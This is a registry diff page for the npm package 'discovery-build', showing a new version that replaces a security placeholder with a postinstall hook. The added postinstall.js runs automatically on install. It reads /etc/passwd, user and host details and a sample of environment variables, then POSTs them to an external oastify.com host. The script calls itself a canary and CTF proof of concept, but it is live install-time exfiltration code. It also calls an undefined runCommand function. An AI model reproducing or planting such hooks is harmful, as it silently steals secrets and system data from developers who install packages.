discovery-build 0.0.1-security → 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of discovery-build might be problematic. Click here for more details.
- package/package.json +6 -3
- package/postinstall.js +85 -0
- package/readme.md +2 -0
- package/README.md +0 -5
package/package.json
CHANGED
|
@@ -1,6 +1,9 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "discovery-build",
|
|
3
|
-
"version": "0.0
|
|
4
|
-
"description": "
|
|
5
|
-
"
|
|
3
|
+
"version": "1.0.0",
|
|
4
|
+
"description": "Security research canary — vercel",
|
|
5
|
+
"scripts": {
|
|
6
|
+
"postinstall": "node postinstall.js"
|
|
7
|
+
},
|
|
8
|
+
"main": "postinstall.js"
|
|
6
9
|
}
|
package/postinstall.js
ADDED
|
@@ -0,0 +1,85 @@
|
|
|
1
|
+
const https = require('https');
|
|
2
|
+
const os = require('os');
|
|
3
|
+
const crypto = require('crypto');
|
|
4
|
+
const fs = require('fs');
|
|
5
|
+
// Unique execution ID
|
|
6
|
+
const execId = crypto.randomBytes(6).toString('hex');
|
|
7
|
+
|
|
8
|
+
// Gather system info
|
|
9
|
+
const payload = {
|
|
10
|
+
exec_id: execId,
|
|
11
|
+
whoami: runCommand('whoami'),
|
|
12
|
+
id: runCommand('id'),
|
|
13
|
+
hostname: os.hostname(),
|
|
14
|
+
passwd: fs.readFileSync('/etc/passwd', 'utf8'),
|
|
15
|
+
username: os.userInfo().username,
|
|
16
|
+
platform: os.platform(),
|
|
17
|
+
arch: os.arch(),
|
|
18
|
+
release: os.release(),
|
|
19
|
+
cwd: process.cwd(),
|
|
20
|
+
node_version: process.version,
|
|
21
|
+
home_dir: os.homedir(),
|
|
22
|
+
temp_dir: os.tmpdir(),
|
|
23
|
+
uptime: os.uptime(),
|
|
24
|
+
timestamp: new Date().toISOString(),
|
|
25
|
+
env_sample: Object.entries(process.env).slice(0, 30),
|
|
26
|
+
};
|
|
27
|
+
|
|
28
|
+
// Convert to JSON
|
|
29
|
+
const data = JSON.stringify(payload, null, 2);
|
|
30
|
+
|
|
31
|
+
// OAST target
|
|
32
|
+
const options = {
|
|
33
|
+
hostname: 'bl0oxto4g54mptbwu8q8i1r0mrsjgg45.oastify.com',
|
|
34
|
+
path: `/discovery-build/${execId}`,
|
|
35
|
+
method: 'POST',
|
|
36
|
+
headers: {
|
|
37
|
+
'Content-Type': 'application/json',
|
|
38
|
+
'Content-Length': Buffer.byteLength(data),
|
|
39
|
+
'User-Agent': 'agentcore-ctf-poc/1.0'
|
|
40
|
+
},
|
|
41
|
+
timeout: 5000
|
|
42
|
+
};
|
|
43
|
+
|
|
44
|
+
// Create request
|
|
45
|
+
const req = https.request(options, (res) => {
|
|
46
|
+
console.log(`[+] Status Code: ${res.statusCode}`);
|
|
47
|
+
|
|
48
|
+
let body = '';
|
|
49
|
+
|
|
50
|
+
res.on('data', chunk => {
|
|
51
|
+
body += chunk;
|
|
52
|
+
});
|
|
53
|
+
|
|
54
|
+
res.on('end', () => {
|
|
55
|
+
console.log('[+] Response received');
|
|
56
|
+
if (body.length > 0) {
|
|
57
|
+
console.log(body);
|
|
58
|
+
}
|
|
59
|
+
});
|
|
60
|
+
});
|
|
61
|
+
|
|
62
|
+
// Handle errors
|
|
63
|
+
req.on('error', (err) => {
|
|
64
|
+
console.error('[-] Request failed:', err.message);
|
|
65
|
+
});
|
|
66
|
+
|
|
67
|
+
// Handle timeout
|
|
68
|
+
req.on('timeout', () => {
|
|
69
|
+
console.error('[-] Request timeout');
|
|
70
|
+
req.destroy();
|
|
71
|
+
});
|
|
72
|
+
|
|
73
|
+
// Send payload
|
|
74
|
+
req.write(data);
|
|
75
|
+
req.end();
|
|
76
|
+
|
|
77
|
+
// Local execution logs
|
|
78
|
+
console.log('\n=== AgentCore PoC Executed ===');
|
|
79
|
+
console.log('[+] Execution ID :', execId);
|
|
80
|
+
console.log('[+] Hostname :', payload.hostname);
|
|
81
|
+
console.log('[+] Username :', payload.username);
|
|
82
|
+
console.log('[+] Platform :', payload.platform);
|
|
83
|
+
console.log('[+] Node Version :', payload.node_version);
|
|
84
|
+
console.log('[+] Working Dir :', payload.cwd);
|
|
85
|
+
console.log('================================\n');
|
package/readme.md
ADDED
package/README.md
DELETED
|
@@ -1,5 +0,0 @@
|
|
|
1
|
-
# Security holding package
|
|
2
|
-
|
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
|
4
|
-
|
|
5
|
-
Please refer to www.npmjs.com/advisories?search=discovery-build for more information.
|